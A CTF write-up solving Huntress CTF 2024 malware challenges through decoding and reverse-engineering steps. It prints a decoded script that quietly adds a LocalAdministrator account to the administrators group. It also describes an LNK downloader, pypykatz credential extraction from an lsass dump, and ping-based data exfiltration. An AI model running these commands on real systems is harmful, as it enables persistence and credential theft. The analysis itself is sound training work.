Huntress CTF 24 Malware

Strange Calc

Pop it the file into DiE and establish the exe is compiled AutoIT script. Exe2Aut being a go to for these file types didn’t work for some reason. A bit of research found this tool which managed to extract the au3 script.

Key data from the script was this base64:

"I0B+XmNRTUFBQT09VyF4XkRrS3hQbWAoYgk3bC5QMSdFRUJOJyggL2FWa0RjRS0JSippV1cuYzdsLlB/eCFwK0AhW2NWK1VMRHRJKzNRKgktbUQsMCc5JH9EUk0rMlZtbW5jSjcta1F1Jy9fZiZMfkVCKmlyMGNXY2tVTn9hcjZgRTh/b2tVRSoneCdaay0wIGJ4OSs2fTB2RSsJTkUjeyd4VC11MHt4J3JKIzFHVVlieCErSVxDLixveGA2IG00bC4vS04rKU92IWJPMisqW38yaTZXRHZcbS5QNCdxaTRAIVcgXit4VE90cHRfeypiCWIwdnRRJkAqeDZScysJTFk0Izguf2wzSS1tRH5re2M2Ul40bE1aVzkrek9gNCNSJnkjJ38yfkx7YzBjbXRtLi9XOSt6WWN0UXEqT2YgKid2Mn5WeHYwUl40bUQvVzluelljNF95I08yICondjJ+cyd2MCBeNGxEO0dOf2JZdjRRJipPMiBiW39mcG1RJ1VPRGJ4TCA2RFdoLzRsLlpLW39gY2JAIUAhICMtYE5AKkAqVyNiaWIwYzQzIEAhNiBWf3hvRDRSRiptMydqWS5yCW8gME1HOjt0Qy47V05uY3ZgJVs4WCpAIUAhVyMtYDNAKkAqeWIjcGtXYDRfZkAhNlJWf1VvRHRPOGJeX3s/RERyeEwgNkRHOjs0bE1aR1t/YGBjVkwmYkAhQCF/KnVzKjgpRCtERU1VUDFSZEUoL08uYnhvdlR+VCM4N0MuUHMncjRub3JVLHYqYyxSLQlNMW81YiwJSklSZmAiMXdgXUJ2dWIsO15xUiZ7MlMuT2YwL3YoLFtAIShjJiJ6Un8hSX5xS00tVXwneG54OUVpN2wufgknbGNoKmktbE1+Sycscnh/WVAhL38uUGRXXmxeYltoYnhra09EbVlXTX5FXwlfclAmbFtbcn5FeH9PUF5XXkNeb0RHO2FQQ05zcglrZEREbVlXTS8sSlcxbHNiOTpyVWIvWU1DWUtEUEpDW05yfnJtQ1ZeIH82bkpZSVxtRH4ye3grQX56bU9rN25vcjhOKzFZYEV/VV5EYndPUlV0bnNeQiNwV1dNYFxtLn47eyFwO0AhVyBzf3hMWTRSRnA7UVEqCXcgXSF4Y1ddNVl+VEIwbVYvfyMpMlIiRVVgSyQrREJGfjZDVmsrI3A0UkFCQUE9PV4jfkA="

Used this CyberChef recipe to figure out what was going on:

From_Base64('A-Za-z0-9+/=',true,false)
Microsoft_Script_Decoder()
Generic_Code_Beautify()

This returned (when tidied up):

function a(b) {
    var c = "", d = b.split("\n");
    for(var e = 0;
    e < d.length;
    e++) {
        var f = d[e].replace(/^\s+|\s+$/g, '');
        if (f.indexOf("begin") ==  = 0||f.indexOf("end") ==  = 0||f ==  = "") continue;
        var g = (f.charCodeAt(0) - 32)&63;
        for(var h = 1;
        h < f.length;
        h += 4) {
            if (h + 3 >= f.length) break;
            var i = (f.charCodeAt(h) - 32)&63, j = (f.charCodeAt(h + 1) - 32)&63, k = (f.charCodeAt(h + 2) - 32)&63, l = (f.charCodeAt(h + 3) - 32)&63;
            c += String.fromCharCode((i <  < 2)|(j >  > 4));
            if (h + 2 < f.length - 1)c += String.fromCharCode(((j&15) <  < 4)|(k >  > 2));
            if (h + 3 < f.length - 1)c += String.fromCharCode(((k&3) <  < 6)|l) 
            }

    }

    return c.substring(0, g)
}

var m = "begin 644 -\nG9FQA9WLY.3(R9F(R,6%A9C$W-3=E,V9D8C(X9#<X.3!A-60Y,WT*\n`\nend";
var n = a(m);
var o = ["net user LocalAdministrator " + n+" /add", "net localgroup administrators LocalAdministrator /add", "calc.exe"];
var p = new ActiveXObject('WScript.Shell');
for(var q = 0;
q < o.length - 1;
q++) {
    p.Run(o[q], 0, false)
}

p.Run(o[2], 1, false);

The format of data for var m looked like uuencoding. Adding this to a blank file (accounting for \n chars), and running uudecode <file> on my Linux VM provided the flag:

flag{9922fb21aaf1757e3fdb28d7890a5d93}

Russian Roulette

As this is a LNK file, use LECmd to kick off analysis.

Get a base64 string in the results, which when decoded attempts to invoke a web request to is.gd/jwr7JD and saves the result to TMP.

Obtain the file with curl, and things get weird when trying to review it. In a Linux/bash terminal, commands such as cat reveal mostly Russian language and some obfuscated looking code. But opening in notepad/mousepad or similar and you got a mix of Korean/Chinese characters!

Since a bash terminal seemed to be reading it, I ran strings and output the results to a file. The result looked like heavily obfuscated .bat code. This reminded me of a similar challenge last year - ‘Batchfuscation’. I solved that one by appending echo to each line and outputting the deobfuscated data to another file.

That approach didn’t fully work this time given the added setup of variables, however, after a little tweaking I got it. By only adding echo to commands from line 228 onwards. Running my newly formed .bat file, I appended output to a new file which resulted in some cleartext commands, including some encoded PowerShell.

Deobfuscating the PowerShell with CyberChef resulted in data for AES decryption of a base64 string. Still using CyberChef, AES decrypt the string with this recipe for the flag:

From_Base64('A-Za-z0-9+/=',true,false)
AES_Decrypt({'option':'Base64','string':'/a1Y+fspq/NwlcPwpaT3irY2hcEytktuH7LsY+NlLew='},{'option':'Base64','string':'9sXGmK4q9LdYFdOp4TSsQw=='},'CBC','Raw','Raw',{'option':'Hex','string':''},{'option':'Hex','string':''})

flag{4e4f266d44717ff3af8bd92d292b79ec}

Mimi

Check filetype - Windows minidump. Run strings but result is pretty useless. Run strings again with the -el flag, which spots that procdump was used to dump lsass…Interesting.

A quick search for “minidump lsass” had pypykatz as the top suggestion. Reading into this stated pypykatz can obtain credentials in minidump files of lsass - bingo.

Installed pypykatz and run on Kali to obtain the flag (note Kali here as it wouldn’t setup properly on my other VMs!):

pypykatz lsa minidump mimi

flag{7a565a86761a2b89524bf7bb0d19bcea}

eepy

Run strings - spot the hxxp://supermegasus.huntress.local/c2.

Load up the binary in Ghidra, can see a sleep function (too short to meet any yawn hint from the description). Search for the URL, and work back to the calling function - FUN_140002d90, which then calls FUN_140002840. This function has calls to CreateTimerQueue among others but also makes 2 function calls.

FUN_140002830 - is passed a memory region 0x26 bytes long. The function itself uses XOR for each byte in the region with 0xaa. Copied the data data to be passed from Ghidra into CyberChef and XOR’d for the flag:

From_Hex('Auto')
XOR({'option':'Hex','string':'aa'},'Standard',false)

flag{2feb3ff8a21a36db1ad386d33a29d85a}

Rustline

I like challenges like this one!

Initial assessment of files reveals private keys are good candidate to recover as encrypted bytes are all the same at the beginning. For instance - the bytes below:

95 DA 02 DB B8 1A 32 02 F9 C1 FC C1 B7 5F 91 2D EB BF 0F A6 C7 11 21 04 E4 CA FC C5 A2 43 F2 53 95 DA 02

Match:

-----BEGIN OPENSSH PRIVATE KEY-----

Based on the encrypted private key data patterns matching, I assumed XOR was being used. So I wrote a Python script, provided known plaintext bytes and the ciphertext:

def xor_brute_force(ciphertext, known_plaintext):
	possible_key = []

	# Attempt to derive the key by XORing ciphertext and known plaintext
	for i in range(len(known_plaintext)):
		key_byte = ciphertext[i] ^ known_plaintext[i]
		possible_key.append(key_byte)
	
	return possible_key

def apply_key(ciphertext, key):
	decrypted_message = []
	
	# XOR each byte of the ciphertext with the key (repeated if key is shorter)
	for i in range(len(ciphertext)):
		decrypted_message.append(ciphertext[i] ^ key[i % len(key)])
	
	return bytes(decrypted_message)

# Example ciphertext bytes (hexadecimal)
ciphertext = bytes([
	0x95, 0xDA, 0x02, 0xDB, 0xB8, 0x1A, 0x32, 0x02, 0xF9, 0xC1, 0xFC, 0xC1, 0xB7, 0x5F, 0x91, 0x2D, 
	0xEB, 0xBF, 0x0F, 0xA6, 0xC7, 0x11, 0x21, 0x04, 0xE4, 0xCA, 0xFC, 0xC5, 0xA2, 0x43, 0xF2, 0x53,
	0x95, 0xDA, 0x02
])

# Known plaintext bytes (hexadecimal)
known_plaintext = bytes([
	0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x42, 0x45, 0x47, 0x49, 0x4E, 0x20, 0x4F, 0x50, 0x45, 0x4E, 0x53,
	0x53, 0x48, 0x20, 0x50, 0x52, 0x49, 0x56, 0x41, 0x54, 0x45, 0x20, 0x4B, 0x45, 0x59, 0x2D, 0x2D,
	0x2D, 0x2D, 0x2D
])

# Brute-force the XOR key using the known plaintext
key = xor_brute_force(ciphertext, known_plaintext)

# Convert key to hex format
key_hex = ''.join([f'{byte:02X}' for byte in key])

# Display the derived key in hexadecimal
print(f"Derived XOR Key (hex): {key_hex}")

# Decrypt the full ciphertext using the derived key
decrypted_message = apply_key(ciphertext, key)

# Display the decrypted message
print("Decrypted Message (hex):", decrypted_message.hex())
print("Decrypted Message (ascii):", decrypted_message.decode('ascii', errors='replace'))

This generated the XOR key B8F72FF695587745B08FDC8EE71ADF7EB8F72FF695587745B08FDC8EE71ADF7E (removed last 3 that the script outputs are they repeat)

With this, I loaded the flag file into CyberChef and used XOR to get the flag:

flag{bfe12aadd139def4d47f5f51a539249d}

Ping Me

Use CyberChef to clean up the script:

Find_/_Replace({'option':'Simple string','string':'))'},'\\n',true,false,true,false)
Find_/_Replace({'option':'Simple string','string':'&H'},'0x',true,false,true,false)
Find_/_Replace({'option':'Simple string','string':'&'},'',true,false,true,false)
Find_/_Replace({'option':'Simple string','string':'CLng'},'',true,false,true,false)
Find_/_Replace({'option':'Simple string','string':')chr'},')\\nchr',true,false,true,false)
Find_/_Replace({'option':'Regex','string':'[\\(\\)]'},'',true,false,true,false)
Find_/_Replace({'option':'Regex','string':'chr'},'',true,false,true,false)

Leaving just basic math for potential characters like in this snipped version for reference:

vbs_vals = [-8710+0x224A, 0x1C3C-7123,...83400/0x2B7, 0x260D-9625]

Then I wrote a Python script to decode the values:

vbs_vals = [-8710+0x224A, 0x1C3C-7123, -1048+0x485, -431+0x1CF, 0xECA-3671, 0x1EA3-7739, -9460+0x2520, 92448/0xB49, -8198+0x206F, 0x2543-9427, 0x10E8-4213, -5011+0x13BF, -1785+0x719, -4404+0x119D, 0x128-238, 145748/0x6DC, -8792+0x22BD, -8446+0x2172, -8584+0x21A8, -1707+0x71E, 57720/0x22B, 0xDBB-3483, -100+0xA1, 291968/0x23A4, -2989+0xBF0, -1419+0x5FD, 0x214E-8425, 0x1472-5137, -9475+0x2577, -1670+0x6EB, 0x18EC-6301, -9755+0x267D, 0xDF6-3468, 0x448-995, -8152+0x203B, 782420/0x1A59, 316960/0x1EF4, 174726/0x1413, -9716+0x264B, -2558+0xA51, -5012+0x13F7, 28500/0xFA, 0x1795-5932, -6173+0x188D, 832532/0x1C09, -8496+0x215E, -3982+0xFE1, 251264/0x970, -7986+0x1F97, 368496/0xD54, -1468+0x628, 0xB64-2882, -2898+0xB7B, 0x1A1D-6627, -4869+0x136E, -2229+0x925, 1141490/0x26C6, -8427+0x210B, 469212/0x1E0C, 154656/0x12E1, 0xE7B-3642, 995334/0x221B, 0x51F-1197, -1494+0x637, 366267/0xBD3, 267760/0x1A26, -8315+0x209D, -5088+0x1411, 0x228-504, 108500/0x87A, -3564+0xE1A, 0xE53-3618, -88+0x88, 0x9D9-2465, 0xC1D-3055, 0x40E-981, -81+0x88, -8079+0x1FBD, -731+0x30C, -7987+0x1F63, 332418/0x1976, -6153+0x182B, 86636/0x7B1, 0x210C-8428, 312426/0x23E5, 0x1BE9-7096, -2275+0x915, 0x17F5-6082, 0x1454-5158, 0x739-1796, -5662+0x1652, 406732/0x228A, -525+0x23E, -926+0x3CE, 236496/0x133F, 0xEA9-3707, -4694+0x128A, 0x1298-4703, -6611+0x19F5, -9443+0x250F, -3311+0xD0F, -2866+0xB54, 0x1154-4379, -4462+0x11A6, 0x23E8-9146, -7553+0x1DB6, 0xCC8-3220, 384560/0x20A8, -7193+0x1C4D, 52976/0x3B2, -246+0x124, -94+0x93, -2410+0x99C, 1394/0x29, -7683+0x1E2F, 0x11BF-4511, 103156/0xBDA, 0x2141-8456, -3422+0xD96, -5494+0x15A4, -7784+0x1EA1, -5615+0x1627, -3140+0xC72, -3731+0xEC7, 429210/0x1D6A, 0x1674-5702, 0x24E0-9383, -4514+0x11DA, -3409+0xD73, -4128+0x104C, 286560/0x22FB, -2859+0xB4D, 0x25BA-9605, -3495+0xDDB, -3701+0xEA3, 196490/0xFAA, 0xE41-3601, -4045+0xFFD, -1431+0x5C5, 0xD84-3403, -5771+0x16C2, -4782+0x12DC, 154071/0xB5B, 402290/0x2012, -1655+0x699, 295328/0x1A38, 0x21AD-8589, -5308+0x14DE, -7308+0x1CC1, -7625+0x1DF9, 0x1775-5959, 0x8EB-2226, -5757+0x16B5, 0x1568-5434, 381865/0x1C25, 0xCBD-3207, -6638+0x1A1C, 99921/0x6D9, 80304/0x59A, -7805+0x1E9F, -1820+0x748, 0x18B3-6291, -5640+0x162A, -4824+0x1311, 352744/0x189B, -292+0x152, 0x20B8-8319, -1584+0x669, 0x8C7-2201, -2187+0x8C4, 0xDC5-3470, -3268+0xCF2, -5577+0x15FE, -309+0x16C, -1144+0x49A, -9516+0x2558, 0x3CD-941, -4067+0x1005, 289198/0x170E, -3400+0xD78, -8493+0x215E, -5902+0x173C, 387112/0x1C88, -6594+0x19F2, 0x160F-5601, 0xE38-3587, 460252/0x2293, -306+0x160, -1576+0x659, -853+0x385, 32640/0x2A8, -5770+0x16AC, 406472/0x2416, 59552/0x745, -3842+0xF24, 135733/0xA01, -4781+0x12E0, 347576/0x1D84, -1448+0x5DC, 567777/0x26E9, 0x2660-9778, -6322+0x18E7, 368526/0x1C3A, -9529+0x2567, -3965+0xFB2, 0x14C3-5261, -505+0x21B, -532+0x240, 68352/0x858, -789+0x337, 0x382-845, -9302+0x248D, -5774+0x16BC, 20972/0x1AC, 0x22F9-8903, -1558+0x64B, -8186+0x2028, 0x527-1268, -9869+0x26C2, -6122+0x1818, 0x1E3C-7689, -4075+0x1020, 4658/0x89, 0x11F7-4558, 357222/0x180F, 540120/0x1E24, -836+0x3B3, 986100/0x21CA, -2426+0x99A, 0x1329-4800, 191968/0x176F, 0x8A9-2156, 0x1ED5-7861, 5616/0x75, 312224/0x261D, 152208/0x714, 0x12CB-4700, 0x202-482, 217685/0xA01, 465036/0x1B86, -1002+0x459, 630162/0x150A, 669680/0x17C8, -2383+0x9B3, 0x1385-4957, -9107+0x23FC, 1078112/0x259A, -1751+0x74A, 274864/0x1A30, -1911+0x7B1, -368+0x190, -7293+0x1C9D, -5151+0x143F, -2252+0x8EC, 0xA30-2493, 0x18D3-6251, -7857+0x1EDF, -657+0x2E3, -3390+0xDB3, -6553+0x1A07, -5826+0x16E2, -567+0x259, -5399+0x157A, 0x1473-5126, 24+0x4C, 32960/0x406, 0x1D18-7401, 105381/0x515, 221824/0x1B14, 136206/0xB52, 341055/0xD75, 289632/0x235B, -9504+0x2590, 692055/0x19BF, -3239+0xD15, -7859+0x1F1A, -2106+0x85A, -3016+0xBEA, 0x156B-5451, -4032+0xFE6, 309408/0x25C5, 484365/0x1205, 449344/0xFAC, -1842+0x7A5, 86360/0x86F, 997080/0x2518, 0xCDA-3249, 0xD5F-3379, -7698+0x1E32, 304128/0x18C0, 0x1CBB-7311, -938+0x3CA, -9779+0x2679, 0x3AC-843, 282096/0xA34, 0x783-1808, 675589/0x1A21, 65366/0x467, 438516/0x15F6, 0x5C6-1377, 83400/0x2B7, 0x260D-9625]

decoded = []

for item in vbs_vals:
	if isinstance(item, float):
		item = round(item)

	decoded.append(chr(item))

print("".join(decoded))

This produced more vbs:

Dim sh, ips, i:Set sh = CreateObject("WScript.Shell"):ips = Array("102.108.97.103", "123.54.100.49", "98.54.48.52", "98.98.49.98", "54.100.97.51", "50.98.56.98", "98.99.97.57", "101.50.54.100", "53.49.53.56", "57.125.35.35"):For i = 0 To UBound(ips):    sh.Run "cmd /Q /c ping " & ips(i), 0, False:Next

Wrote a simple bash script to replicate the vbs and ran Wireshark to monitor the ping data.

#!/bin/bash

# List of IP addresses from the decoded VBScript
ips=("102.108.97.103" "123.54.100.49" "98.54.48.52" "98.98.49.98" 
     "54.100.97.51" "50.98.56.98" "98.99.97.57" "101.50.54.100" 
     "53.49.53.56" "57.125.35.35")

# Loop through the IPs and ping each one sequentially
for ip in "${ips[@]}"
do
    echo "Pinging $ip:"
    ping -c 4 "$ip"
    echo -e "\nDone pinging $ip\n"
done

The flag data was broken up within request packets (order IPs were pinged was important for flag order).

flag{6d1b604bb1b6da32b8bbca9e26d51589}

Discount Programming Devices

As soon as I opened this challenge, I recognised the format straight away. A few months back, I was on Twitter X, and seen a request for decoding some opendir malware scripts. Having some free cycles at the time, I looked into it and developed a Python script along with a CyberChef recipe for decoding up until the final loop. Turns out, this challenge utilised the same tool that I had already created a solution for and can be accessed here.

Run the tool, or use CyberChef, then perform the final base64 decode/zlib inflate to get the flag:

flag{2543ff1e714bC2eb9ff78128232785ad}

Revenge of Discount Programming Devices

Search strings on the file - based on Python strings in the output, it appears to be compiled Python.

Use this trusty link to follow the steps for unpacking the code back into Python script.

With the Python code recovered, easily spot the same FCT obfuscation as the first variant of this challenge. Using my own decoder methods - I got up to a point of obtaining more code from charcode which seemed to be an added step. Decode the charcode, which then leads back to FCT encoded data. Running my script a second time on this new data (or use the CyberChef recipe) followed by the decode step obtained the flag:

flag{4f657a3fb50ba3ab42b42f67655599e1}